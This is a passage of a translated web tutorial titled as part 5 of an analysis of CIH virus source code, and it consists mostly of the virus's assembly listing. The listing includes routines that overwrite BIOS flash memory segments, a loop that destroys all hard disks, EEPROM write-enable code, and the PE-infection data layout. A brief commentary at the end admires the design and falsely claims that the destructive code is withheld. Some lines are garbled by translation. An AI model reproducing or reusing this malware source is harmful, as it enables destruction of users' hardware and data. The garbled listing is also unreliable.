Virus program source code instance analysis-CIH virus [5]

Virus program source code instance analysis-example code of CIH virus [5]. for details, refer Virus program source code instance analysis-CIH virus [5]

Push ecx
Loop $
　　
Destroys the ROM data of the additional 000E0000-000E007F segment in the BIOS, a total of 80 H bytes
Xor ah, ah
Mov [eax], al
　　
Xchg ecx, eax
Loop $
　　
; Displays and activates BIOS 000E0000-000FFFFF segment data, a total of 128 KB, this segment can write information mov eax, 0f5555h
Pop ecx
Mov ch, 0aah
Call ebx
Mov byte ptr [eax], 20 h
　　
Loop $
　　
Damage BIOS 000FE000-000FE07F segment data, a total of 80 H bytes
Mov ah, 0e0h
Mov [eax], al
　　
Hidden BIOS 000F0000-000FFFFF segment, 64 KB in total
Mov word ptr (BooleanCalculateCode-@ 10) [esi], 100ch
Call esi
　　
; Destroys all hard disks
KillHardDisk:
Xor ebx, ebx
Mov bh, FirstKillHardDiskNumber
Push ebx
Sub esp, 2ch
Push 0c0001000h
Mov bh, 08 h
Push ebx
Push ecx
Push ecx
Push ecx
Push 40000501 h
Inc ecx
Push ecx
Push ecx
　　
Mov esi, esp
Sub esp, 0ach
　　
; Loop to destroy
LoopOfKillHardDisk:
Int 20 h
Dd 00100004 h
　　
Cmp word ptr [esi + 06 h], 0017 h
Je KillNextDataSection
　　
; Change the next hard disk
ChangeNextHardDisk:
Inc byte ptr [esi + 4dh]
　　
Jmp LoopOfKillHardDisk
　　
; Destroys the next region
KillNextDataSection:
Add dword ptr [esi + 10 h], ebx
Mov byte ptr [esi + 4dh], FirstKillHardDiskNumber
　　
Jmp LoopOfKillHardDisk
　　
Enable the EEPROM to write information
EnableEEPROMToWrite:
Mov [eax], cl
Mov [ecx], al
Mov byte ptr [eax], 80 h
Mov [eax], cl
Mov [ecx], al
　　
Ret
　　
IOForEEPROM:
@ 10 = IOForEEPROM
　　
Xchg eax, edi
Xchg edx, ebp
Out dx, eax
　　
Xchg eax, edi
Xchg edx, ebp
In al, dx
　　
BooleanCalculateCode = $
Or al, 44 h
　　
Xchg eax, edi
Xchg edx, ebp
Out dx, eax
　　
Xchg eax, edi
Xchg edx, ebp
Out dx, al
　　
Ret
　　
Static data definition
LastVxdCallAddress = IFSMgr_Ring0_FileIO; Vxd command address of the last call
VxdCallAddressTable db 00 h
Db IFSMgr_RemoveFileSystemApiHook-_ PageAllocate
Db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
Db IFSMgr_Ring0_FileIO-UniToBCSPath; Vxd call Command Address difference
　　
VxdCallIDTable dd 00010053 h, 00400068 h, 00400041 h, 00400032 h; Call Number of Vxd
VxdCallTableSize = ($-VxdCallIDTable)/04 h; number of Vxd calls in the program
　　
Virus version and copyright definition
VirusVersionCopyright db 'cih V'; ID of the CIH virus
Db MajorVirusVersion + '0'; master version
Db '.'
Db MinorVirusVersion + '0'; minor version
Db 'tatung '; author's name
　　
; Virus size
VirusSize = $ + SizeOfVirusCodeSectionTableEndMark (04 h)
+ NumberOfSections * SizeOfVirusCodeSectionTable (08 h)
+ SizeOfTheFirstVirusCodeSectionTable (04 h)
　　
; Dynamic data definition
VirusGameDataStartAddress = VirusSize
@ 6 = VirusGameDataStartAddress; virus data start address
　　
OnBusy db 0; "busy" sign
FileModificationTime dd? ; File modification time
　　
FileNameBuffer db FileNameBufferSize dup (?) ; 7fh long file name buffer
@ 7 = FileNameBuffer
　　
DataBuffer = $
@ 8 = DataBuffer
NumberOfSections dw? ; Number of blocks
TimeDateStamp dd? ; File Time
SymbolsPointer dd?
NumberOfSymbols dd? ; Number of symbols in the symbol table
SizeOfOptionalHeader dw? ; Optional file header length
_ Characteristics dw? ; Character set flag
Magic dw? ; Flag (always 010bh)
LinkerVersion dw? ; Connector version number
SizeOfCode dd? ; Code segment size
SizeOfInitializedData dd? ; Size of initialized data blocks
SizeOfUninitializedData dd? ; Data block size not initialized
AddressOfEntryPoint dd? ; Program start RVA
BaseOfCode dd? ; Code segment start RVA
BaseOfData dd? ; Data segment start RVA
ImageBase dd? ; Mount base address RVA
　　
@ 9 = $
SectionAlignment dd? ; Block alignment
FileAlignment dd? ; File block alignment
OperatingSystemVersion dd? ; Required OS version number
ImageVersion dd? ; User-defined version number
SubsystemVersion dd? ; Required Subsystem version number
Reserved dd? ; Reserved
SizeOfImage dd? ; Total length of each part of the file
SizeOfHeaders dd? ; File header size
SizeOfImageHeaderToRead = $-NumberOfSections
NewAddressOfEntryPoint = DataBuffer
SizeOfImageHeaderToWrite = 04 h
　　
StartOfSectionTable = @ 9
SectionName = StartOfSectionTable; block name
VirtualSize = StartOfSectionTable + 08 h; actual segment length
VirtualAddress = StartOfSectionTable + 0ch; RVA of The Block
SizeOfRawData = StartOfSectionTable + 10 h; physical block length
PointerToRawData = StartOfSectionTable + 14 h; block physical offset
PointerToRelocations = StartOfSectionTable + 18 h; relocation offset
PointerToLineNumbers = StartOfSectionTable + 1ch; offset of the row number table
NumberOfRelocations = StartOfSectionTable + 20 h; number of relocation items
NumberOfLinenNmbers = StartOfSectionTable + 22 h; number of row number tables
Characteristics = StartOfSectionTable + 24 h; block attributes
SizeOfScetionTable = Characteristics + 04h-SectionName; length of each table item
　　
; The amount of memory required by viruses
VirusNeedBaseMemory = $
VirusNeedBaseMemory = $
　　
VirusTotalNeedMemory = @ 9
; + NumberOfSections (??) * SizeOfScetionTable (28 h)
; + SizeOfVirusCodeSectionTableEndMark (04 h)
; + NumberOfSections (??) * SizeOfVirusCodeSectionTable (08 h)
; + SizeOfTheFirstVirusCodeSectionTable (04 h)
　　
Virus program ended
VirusGame ENDS
END FileHeader
From the above code analysis process, we can see that the CIH virus has a clear structure and a clear hierarchy. The main structure of the virus program is very similar to that of the DOS virus, except that the virus details are handled by the win95 method, and Vxd is used for all system calls. In this way, the virus program is more underlying, more efficient, and easier to program. compared with the API functions in Windows, you do not need to consider the complex relocation process of the virus itself; compared with the use interruption, it also prevents tracking and analysis of programs.

CIH virus has two innovations. one is to find the blank area between the blocks of the infected object file when the virus is infected, and write the various data structures and codes of the virus into it (if the blank area is not enough, it will not be infected, this is one of the reasons why some files will not be infected.) second, when a virus attack occurs, the computer hardware will be damaged, not only the Flash Memory, but also the hard disk.

For security reasons, we did not provide detailed analysis on the code for virus attacks and hardware destruction.

The above is the analysis of the virus program source code instance-CIH virus [5] content. For more information, please follow the PHP Chinese network (www.php1.cn )!